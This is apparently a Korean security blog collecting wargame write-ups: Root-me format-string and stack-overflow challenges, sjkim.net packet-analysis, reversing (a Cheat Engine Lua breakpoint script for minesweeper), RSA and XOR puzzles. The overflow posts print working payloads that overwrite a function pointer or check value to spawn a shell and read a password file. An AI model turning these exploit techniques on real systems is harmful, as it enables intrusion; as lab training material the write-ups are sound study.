내가 제일 싫어하는 FSB 문제이다.


일단 풀어보자.

#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char *argv[]){
	FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
	char buffer[32];
	fgets(buffer, sizeof(buffer), secret);
	printf(argv[1]);
	fclose(secret);
	return 0;
}

printf 함수에서 Format String 쓰지 않고 그대로 출력하기 때문에 FSB 취약점이 발생한다.


buffer 변수에 패스워드가 저장되므로  argv에 %8x를 넣어 값을 읽어온다.



딱봐도 정말 수상하게 긴놈이 보인다.


주소처럼 생긴 804b008을 제외한 나머지를 뽑아본다.


39617044282936646d617045b7000a64b7e5ae65b7fe 이러한 값이 나왔는데... 


md5 나 다른 해시 형태는 아닌것 같아 hex로 변환해보았다.



저장될 때 리틀엔디안으로 저장되므로


출력되는 값을 리틀엔디안으로 바꾼 뒤 출력하면 된다.

'Wargame > Root-me' 카테고리의 다른 글

App - System 02  (0) 2017.05.18
App-System 01  (0) 2017.05.18

이 문제도 1번문제와 같다.

/*
gcc -m32 -fno-stack-protector -o ch15 ch15.c
*/
 
#include <stdio.h>
#include <stdlib.h>
 
void shell() {
    system("/bin/dash");
}
 
void sup() {
    printf("Hey dude ! Waaaaazzaaaaaaaa ?!\n");
}
 
main()
{ 
    int var;
    void (*func)()=sup;
    char buf[128];
    fgets(buf,133,stdin);
    func();
}

EIP를 shell 함수로 바꿔주면 끝나는 일이다.


먼저 gdb를 이용하여 shell 함수의 주소를 가져온다.



shell 의 주소는 0x08048464이다.


기존과 똑같은 환경이라 생각하고 다음과 같이 payload를 구성한다.


(python -c 'print "A"*128 + "\x64\x84\x04\x08"';cat) | ./ch15



다음과 같이 쉘을 획득하였다.


cat .passwd 명령어를 이용하여 플래그를 출력할 수 있다.

'Wargame > Root-me' 카테고리의 다른 글

App - System 03  (0) 2017.05.18
App-System 01  (0) 2017.05.18

그동안 묵혀두었던 Root-me를 풀어보려고 한다.


먼저 ELF x86 - Stack buffer overflow basic 01을 풀어보자.

#include <stdlib.h>
#include <stdio.h>
 
/*
gcc -m32 -o ch13 ch13.c -fno-stack-protector
*/
 
 
int main()
{
 
  int var;
  int check = 0x04030201;
  char buf[40];
 
  fgets(buf,45,stdin);
 
  printf("\n[buf]: %s\n", buf);
  printf("[check] %p\n", check);
 
  if ((check != 0x04030201) && (check != 0xdeadbeef))
    printf ("\nYou are on the right way!\n");
 
  if (check == 0xdeadbeef)
   {
     printf("Yeah dude! You win!\nOpening your shell...\n");
     system("/bin/dash");
     printf("Shell closed! Bye.\n");
   }
   return 0;
}

소스코드는 다음과 같다.


fgets에서 기존의 buf 보다. 크게 입력을 받아 Buffer overflow 취약점이 발생한다.


check 변수의 값이 0xdeadbeef 과 같으면 쉘을 실행시킨다.


디버깅을 통해 알아보자.



입력 한 뒤에 stack 상태를 알아보기 위해 fgets 함수 뒤에 Break point를 걸어준다.


이후 스택을 채워 알아보자.



40 byte 넣었을 때 정상적으로 들어가는 것을 확인할 수 있다.


이후 바로 뒤에 0x0403000a 라고 표시되어 있는 부분은 사실 0x04030201 임을 알 수 있다.


이유는 잘 모르겠으나 저 값이 0xdeadbeef로 바뀐다면 쉘을 실행시켜줄 것이다.


페이로드는 다음과 같다


(python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./ch13



쉘을 획득하였다.


이후 cat .passwd를 통해 패스워드를 출력할 수 있다.


'Wargame > Root-me' 카테고리의 다른 글

App - System 03  (0) 2017.05.18
App - System 02  (0) 2017.05.18

Find QR Code / QR 코드를 찾아내세요

findqrcode.pcap

사용자가 웹 서핑중 QR 코드를 내려받았습니다. 
아래 첨부한 패킷 덤프 파일을 내려받아 분석하여 

내려받은 QR 코드를 찾아내세요.


이전에 해결했던 문제와 마찬가지로 Follow tcp stream 을 참고한다.


웹 서핑 중 QR 코드를 내려받은 것으로 보아.


해당 파일 또는 도매인 또는 기타 어딘가에 'qr' 이라는 문자가 포함되어 있을 가능성이 높다.


tcp contain 을 이용하여 문자열을 검색한다.



한 패킷이 검색되었고 zip 파일을 다운로드 받는다.


해당 url로 접속하면 압축 파일이 나온다.


압축을 해제하면 QR 코드가 존재하고 이를 온라인 QR 코드 리더기로 읽는다.


플래그를 획득할 수 있다.



'Wargame > sjkim.net' 카테고리의 다른 글

Programming - BackTracking  (0) 2017.04.21
Packet Analyze - Busan Travel  (0) 2017.04.21
Programming - RSA Decrypt  (0) 2017.04.21
Reversing - Difficult Mine  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20

BackTracking / 백트래킹, 공격할 수 없는 퀸



위와 같이 체스에서 퀸은 상,하,좌,우 대각선 어느 방향, 길이든 공격이 가능하죠 
그렇다면 아래 그림 처럼 퀸만 배치한다면 어떻게 될까요



위 그림에서 퀸의 배치는 각각 1행의 1번, 2행의 3번, 3행의 5번에 있다고 볼 수 있습니다.

각각의 퀸은 서로가 공격이 불가능한 위치에 있습니다. 
아래 그림을 보면 알 수 있죠.



위 그림을 예로 들어 체스 판이 35행 35열일 때 
1행부터 35행까지 서로가 공격 할 수 없는 위치에 퀸을 한행에 하나씩 둔다고 가정하고
각각의 열번호를 모두 더한 값은 무엇인가요?

단, 가장 첫번째 퀸을 1행 1번에 둔다고 가정합니다.
예를 들면 위의 3개의 퀸은 열번호가 각각 1,3,5번이니까 모두 더하면 9가 정답이겠네요



잘 생각해보면 굳이 코드를 짤 필요가 없는 문제이다.


35개의 열에서 35개를 넣게되는데 서로다른 행에서 같은 열이 존재할 수 없다.


그렇다면 1~35개 중 중복없이 35개를 고르는 것과 똑같다.


따라서 열 번호를 모두 더한 값은


1부터 35까지의 합을 구해주면 된다.


짜다가 중간에 생각 났다.... ㅠ


'Wargame > sjkim.net' 카테고리의 다른 글

Packet Analyze - Find QR Ccode  (0) 2017.04.21
Packet Analyze - Busan Travel  (0) 2017.04.21
Programming - RSA Decrypt  (0) 2017.04.21
Reversing - Difficult Mine  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20

Busan Travel / 부산 여행

busan_travel.pcap

웹 서핑을 하던 중 부산 여행지에 대한 정보를 검색했습니다.
열어본 페이지 중 제일 첫번째로 소개하는 여행지가 플래그 입니다.
"공백제외"


우선 여행지 정보를 검색하였으니 http 프로토콜을 기준으로 필터링 한다.


그리고 여행정보 검색 결과 특성 상 이미지가 존재할 것이다.


먼저 Export Object 기능을 이용하여 http object 들을 전부 뽑아준다.



뽑혀저 나온 파일 중 JPG%3FTYPE%3D... 의 확장자를 갖고 있는 파일이 있다.


분명 jpg 그림 파일 일 것이다.



해당 파일을 확인해본 결과 jpg 그림파일이 맞다.


확장자를 바꿔 내용을 확인한다.



다음의 그림을 확인할 수 있다.


그림을 자세히 보면 저작권 침해를 방지하기 위하여 워터마크가 적용된 모습이 보인다.


이는 블로거들이 사진을 올릴 때 자주 사용하는 방법이다.


Google 이미지 검색 기능을 이용하여 해당 그림 출처를 확인한다.



해당 그림의 출처를 검색한 결과 부산 여행지 추천과 관련하여 포스팅 한 블로그가 검색되었다.


해당 블로그에서 첫번째로 언급된 관광지는 '광안리해수욕장'이다.


Flag : 광안리해수욕장

'Wargame > sjkim.net' 카테고리의 다른 글

Packet Analyze - Find QR Ccode  (0) 2017.04.21
Programming - BackTracking  (0) 2017.04.21
Programming - RSA Decrypt  (0) 2017.04.21
Reversing - Difficult Mine  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20

RSA Decrypt / RSA 암호문 복호화하기

아래의 암호문은 RSA 암호화 기법으로 암호화 되어진 암호문입니다. 
복호화를 수행하기 위해 몇가지 정보를 가지고 있는데 

평문은 "Flag:ah......."로 시작했고 공개키는 e=5,N=29651 이며 , 
개인키는 0 ~ 10000 사이의 수중 하나입니다. 

이 정보를 토대로 평문을 찾아주세요. 


암호문 : 22018 24228 25194 320 2232 25194 12100 23753 13965 25194 18910 26890 24228 17091



RSA 암호화 과정은 다음과 같다.


위의 공식을 이용하여 풀이에 적용한다.


주어진 공개키 e, N과 암호문 C를 토대로 평문 m을 추리한다.


예를들어 첫번째 암호 22018의 경우 



위와 같이 식을 세울 수 있다.


소스코드


encrypt_num = [22018, 24228, 25194, 320, 2232, 25194,
12100, 23753, 13965, 25194, 18910, 26890, 24228, 17091]

length = len(encrypt_num)
decrypt = ''
e = 5
N = 29651
m = 20
i = 0
while i<length:
if pow(m,5)%N == encrypt_num[i]:
decrypt += chr(m)
i+=1
m=20
print decrypt
m+=1


'Wargame > sjkim.net' 카테고리의 다른 글

Programming - BackTracking  (0) 2017.04.21
Packet Analyze - Busan Travel  (0) 2017.04.21
Reversing - Difficult Mine  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20
Packet Analyze - Find EXE File  (0) 2017.04.20

Difficult Mine / 어려운 지뢰찾기

winmine_sjkim.exe

지뢰찾기 잘 하시나요?
제가 약간 손봐둔 지뢰찾기는 조금 어려울겁니다.

성공하기만 한다면 플래그를 출력할테니 다운받아 
게임을 성공해보세요.


여러가지 접근방법이 있다.




비교적 쉽게 풀 수 있는 방법도 분명 존재 할 것이다. 


문제를 해결하는 동안 많은 시행착오를 겪었고 해결하였다.


입문자에게 추천할 만한 난이도는 아닌것 같다.


하지만 리버싱을 어느정도 접한 사람들에게는 좋은 문제인것 같다.


해당 문제를 해결하기 위해 다음과 같이 생각하였다.




1. 플래그를 출력하는 이벤트 호출 함수를 찾아 그 주소로 JMP 한다.



해당 방법의 경우 flag 와 관련된 직접적인 string 이 없어 찾기 힘들다. 따라서 제외하였다.



2. 지뢰는 10*10 총 100개이며 지뢰를 피할 수 있는 칸은 오직 두개 뿐이다. 

   그렇다면 그 두 곳에 대한 좌표가 있을 것이다. 그 좌표를 찾아 누르고 플래그를 획득하자. 


그렇다면 좌표는 어떻게 구할 수 있을까?




먼저 게임을 시작할 때의 루틴을 찾아야 한다. 

게임 시작과 동시에 폭탄이 세팅될 것이기 때문이다.



루틴을 찾기 위해서는 String, 함수명, 메모리 엑세스 로그 등의 정보가 필요한데.


해당 바이너리는 다행히도 심볼이 살아 있어 비교적 쉽게 찾을 수 있었다. 


함수명으로 쉽게 게임을 시작할 때 호출하는 함수임을 짐작할 수 있다.


이제 코드를 자세히 들여다 보자.




위의 코드를 보면 cBomStart가 무한루프 한다.


v1 = Rnd(xBoxMac) + 1

v2 = Rnd(yBoxMac) + 1


이 코드를 보고 대충 좌표값일거라고 생각을 하게 되었다. Rnd 함수를 들여다 보자.




예상 대로 rand() 함수를 이용하여 난수를 생성하는 함수이다.


즉 v1에는 랜덤한 x좌표가, v2 에는 랜덤한 y 좌표가 저장된다.


--cBomStart 되면서 특정 메모리 주소에 값을 넣는것이 보인다.


여기까지 봤다면 cBomStart 의 초기값은 두개를 제외한 98이어야 한다.


정확하게 알아보기 위해 치트엔진을 이용하여 cBomStart의 초기값을 확인한다.



예상대로 초기값이 98로 설정되어 있었다.


이제 저 루틴에 대해서 신뢰성이 생겼으니 x와 y의 좌표를 구해야 한다.


x좌표와 y좌표를 구할 수 있는 방법은 다음과 같다.


1. seed값을 알아낸 뒤 rand 함수를 직접 코딩한다.

2. Code Injection을 통해 좌표 값을 알아낸다.

3. 값이 들어간 테이블을 분석하여 좌표값을 알아낸다.


필자는 코드인젝션을 통해 x좌표와 y좌표를 가져왔다.


 

Code Injection 을 수행하기 위해 먼저 인젝션 포인트를 잡는다.





Rnd(x)의 결과 값이 eax에 들어가므로 밑의 인스트럭션 아무거나 잡아서 eax를 출력하면 된다.


필자의 경우 call rnd 바로 밑의 인스트럭션 주소를 잡았다.


x : 0x10036DE


Rnd(y) 또한 마찬가지로 결과 값이 eax에 저장되므로 밑의 인스트럭션을 잡는다.


y : 0x10036E0


두 주소 모두 eax 레지스터에 결과를 저장한다는 것을 파악하였다.


이제 치트엔진을 이용하여 코드인젝션을 해보자.



Lua Engine을 이용하여 다음과 같이 코드를 작성한다.



x = 0x10036D2

y = 0x10036E0


x_val = 0

y_val = 0

function debugger_onBreakpoint()

         if x==EIP then

            x_val = EAX

         end


         if y==EIP then

            y_val = EAX

            print(x_val .. ", "..y_val)

         end

         return 1

end


debug_setBreakpoint(x)

debug_setBreakpoint(y)



코드에 대해서 간단히 설명하자면


먼저 x와 y에 BreakPoint를 걸어주고 eax 를 받아줄 함수를 구현한다.


EAX의 순서가 x,y / x,y 이지만 만일의 상황을 대비하여 


EIP 가 x일 경우 x_val에 EAX 를 세팅

EIP가 y 일 경우 y_val에 EAX 를 세팅


debugger_onBreakpoint() 함수의 리턴값은 브레이크 포인트를 통과 여부를 의미한다. 


0일 때 : Breakpoint 지점에서 멈춤

1일 때 : Breakpoint 지점을 통과


이제 코드를 작성하고 execute 버튼을 누르면 코드가 적용된다.


그리고 지뢰찾기 대가리? 버튼을 눌러 테이블을 초기화 한다.



초기화와 동시에 Output 란에 예쁘게 좌표 값을 뱉어내는 것을 확인할 수 있다.


이제 저 좌표를 정리하자.


정리할 때 https://www.online-utility.org/text/sort.jsp 이 사이트를 이용하였다.


그리고 정렬된 값을 참조하여 없는 좌표를 눈으로 찾는다


여기서 주의해야 할 점은 앞에서 +1 값을 좌표에 넣어줬으므로 좌표에도 +1을 해줘야 한다.


좌표를 올바르게 찍으면 플래그를 출력하게 된다.


#Thanks to Tonix

'Wargame > sjkim.net' 카테고리의 다른 글

Packet Analyze - Busan Travel  (0) 2017.04.21
Programming - RSA Decrypt  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20
Packet Analyze - Find EXE File  (0) 2017.04.20
Packet Analyze - hacker msg??  (0) 2017.04.20

Lotto Number / 로또 1등 당첨번호를 맞추세요

lotto1.exe

첨부된 실행파일을 내려받아 실행하면 
1분마다 한번씩 반복하여 임의의 로또 번호를 추첨합니다. 

프로그램이 발생할 난수를 예측하여 1등에 당첨되면 플래그를
얻을 수 있습니다.


코드를 작성하다 화가 나서 결국 디버깅을 하기로 마음먹었다.


먼저 IDA를 이용하여 해당 파일을 열어보았다.



스트링을 훑어보던 중 f|a9 : %s라는 문자열이 보인다.


xref 를 따라가보자.



v13에 저장된 값을 플래그로 출력하는데 중간에 xor 연산을 하는 것을 알 수 있다. 


계속 따라가보자.



v13에 저장된 문자열이 보인다.


로또 번호와 상관 없이 플래그는 고정이므로


저 문자열을 배열에 넣고 xor 2 연산을 해주면 플래그가 출력될 것이다.





소스코드


string = "a`60;f`7aadf444d6:f`13g0:17;0;g6"

length = len(string)
i = 0
for i in range(0,length):
print chr(ord(string[i])^2)


'Wargame > sjkim.net' 카테고리의 다른 글

Programming - RSA Decrypt  (0) 2017.04.21
Reversing - Difficult Mine  (0) 2017.04.21
Packet Analyze - Find EXE File  (0) 2017.04.20
Packet Analyze - hacker msg??  (0) 2017.04.20
Reversing - Fine KEY1  (0) 2017.04.20

Find EXE File / EXE 파일을 찾으세요

findexe.pcap

사용자가 웹 서핑을 하던 중 EXE 실행파일을 
내려받는 것을 스니핑 했습니다. 

패킷덤프파일을 다운받아 분석하여 
사용자가 다운받은 실행파일을 찾아보세요.


HTTP Object Export 기능을 이용하여 패킷 내 모든 Object를 추출한다.



뽑아낸 Object 내 에서 Findexe.exe 파일을 찾을 수 있다.




해당 파일을 실행하면 실행이 바로 종료되어 플래그를 알 수 없다.


따라서 Ollydbg를 이용하여 동적으로 코드를 실행시켜 플래그를 출력하였다.




'Wargame > sjkim.net' 카테고리의 다른 글

Reversing - Difficult Mine  (0) 2017.04.21
Programming - Lotto Number  (0) 2017.04.20
Packet Analyze - hacker msg??  (0) 2017.04.20
Reversing - Fine KEY1  (0) 2017.04.20
Programming - Average  (0) 2017.04.20

+ Recent posts